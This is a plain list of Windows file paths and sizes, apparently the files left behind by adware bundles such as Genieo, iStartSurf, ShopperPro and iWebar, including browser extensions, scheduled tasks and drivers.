C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GQVYH9PQ.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UW12NFOL.txt (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NQTMJQMC.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6f9bf9cef49cde4880978c5eccca4dc0[1].htm (32948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0TDM0CX4.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[2].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QTS41CAD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QQ7BU33H.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe (38906 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\40AV6PLO.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp.3 (4152 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\ukrfuo.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\jpyvnw.dll (8 bytes)
C:\Windows\Tasks\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5_user.job (74 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\10492 (88237 bytes)
C:\Windows\Tasks\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\17314 (3141 bytes)
%Program Files% (x86)\SensePlus\utils.exe (69293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.dll (45656 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\lvvegaxuu.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\dvfshap.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\tsouxst.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\vhkocnqdt.dll (14 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5.exe (7547 bytes)
%Program Files% (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe (8020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7474.tmp (606462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi74A4.tmp\uqkcauak.dll (30116 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB28D.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB3C6.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB28D.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDA77.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyDB72.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDA77.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBECE.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E55.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E34.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E44.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\defaults\preferences\preferences.js (379 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\E23.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1429691011_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsProcess.dll (12 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6E.tmp (359949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\vhkocnqdt.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\jpyvnw.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\319246 (3141 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\uqkcauak.dll (30116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\lgtote.dll (23 bytes)
%Program Files% (x86)\iWebar\utils.exe (69293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\ukrfuo.dll (30 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\dvfshap.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\System.dll (808 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7426.tmp (601762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\12493 (88237 bytes)
C:\Windows\Tasks\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5_user.job (74 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe (8020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\lvvegaxuu.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\tsouxst.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.dll (45656 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0f7eccc0\Report.wer (241148 bytes)
